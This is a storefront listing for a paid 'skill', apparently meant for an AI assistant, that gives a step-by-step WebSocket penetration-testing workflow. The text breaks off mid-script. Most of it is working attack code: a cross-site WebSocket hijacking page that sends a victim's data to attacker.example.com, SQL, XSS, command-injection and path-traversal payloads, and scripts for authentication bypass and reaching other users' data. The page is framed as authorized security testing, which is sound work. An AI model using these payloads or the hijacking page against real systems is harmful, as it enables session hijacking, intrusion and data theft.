Claude
Skills
Sign in
Back

exploiting-websocket-vulnerabilities

Included with Lifetime
$97 forever

Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.

Securitypenetration-testingwebsocketweb-securityowaspreal-timeburpsuitescripts

What this skill does


# Exploiting WebSocket Vulnerabilities

## When to Use

- During authorized penetration tests when the application uses WebSocket connections for real-time features
- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
- For testing WebSocket API endpoints for authentication and authorization flaws
- When evaluating real-time data streams for injection vulnerabilities
- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs

## Prerequisites

- **Authorization**: Written penetration testing agreement covering WebSocket testing
- **Burp Suite Professional**: With WebSocket interception capability
- **Browser DevTools**: Network tab for WebSocket frame inspection
- **websocat**: Command-line WebSocket client (`cargo install websocat`)
- **wscat**: Node.js WebSocket client (`npm install -g wscat`)
- **Python websockets**: For scripting custom WebSocket attacks (`pip install websockets`)

## Workflow

### Step 1: Discover and Enumerate WebSocket Endpoints

Identify WebSocket connections in the application.

```bash
# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames
```

### Step 2: Test WebSocket Authentication

Verify that WebSocket connections require proper authentication.

```bash
# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF
```

### Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)

Check if the WebSocket handshake is vulnerable to cross-site attacks.

```bash
# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working
```

```html
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket
  ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
  ws.send(JSON.stringify({type: "get_profile"}));
};

ws.onmessage = function(event) {
  console.log("Data stolen: " + event.data);
  document.getElementById("messages").innerText += event.data + "\n";

  // Exfiltrate to attacker server
  fetch("https://attacker.example.com/collect", {
    method: "POST",
    body: event.data
  });
};

ws.onerror = function(error) {
  console.log("WebSocket error: " + error);
};
</script>
</body>
</html>
```

### Step 4: Test WebSocket Message Injection

Assess WebSocket messages for injection vulnerabilities.

```bash
# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_token"

# Once connected, send test messages:

# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}

# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x onerror=alert(1)>"}

# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}

# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}

# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2}  (another user's channel)

# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json

PAYLOADS = [
    {"action": "search", "query": "' OR 1=1--"},
    {"action": "search", "query": "<script>alert(1)</script>"},
    {"action": "search", "query": "{{7*7}}"},
    {"action": "search", "query": "${7*7}"},
    {"action": "read", "file": "../../../etc/passwd"},
    {"action": "exec", "cmd": "; whoami"},
]

async def test_injections():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        for payload in PAYLOADS:
            await ws.send(json.dumps(payload))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Payload: {json.dumps(payload)}")
                print(f"Response: {response}\n")
            except asyncio.TimeoutError:
                print(f"Timeout for: {json.dumps(payload)}\n")

asyncio.run(test_injections())
PYEOF
```

### Step 5: Test WebSocket Authorization and Rate Limiting

Check if message-level authorization and abuse controls are enforced.

```bash
# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json

async def test_authz():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=user_a_session"}
    ) as ws:
        # Try accessing User B's private data
        messages = [
            {"type": "subscribe", "channel": "user_b_private"},
            {"type": "get_history", "user_id": "user_b_id"},
            {"type": "admin_action", "action": "list_users"},
            {"type": "send_message", "to": "admin", "as": "admin"},
        ]
        for msg in messages:
            await ws.send(json.dumps(msg))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Sent: {json.dumps(msg)}")
                print(f"Received: {response}\n")
            except asyncio.TimeoutError:
                print(f"No response for: {json.dumps(msg)}\n")

asyncio.run(test_aut

Related in Security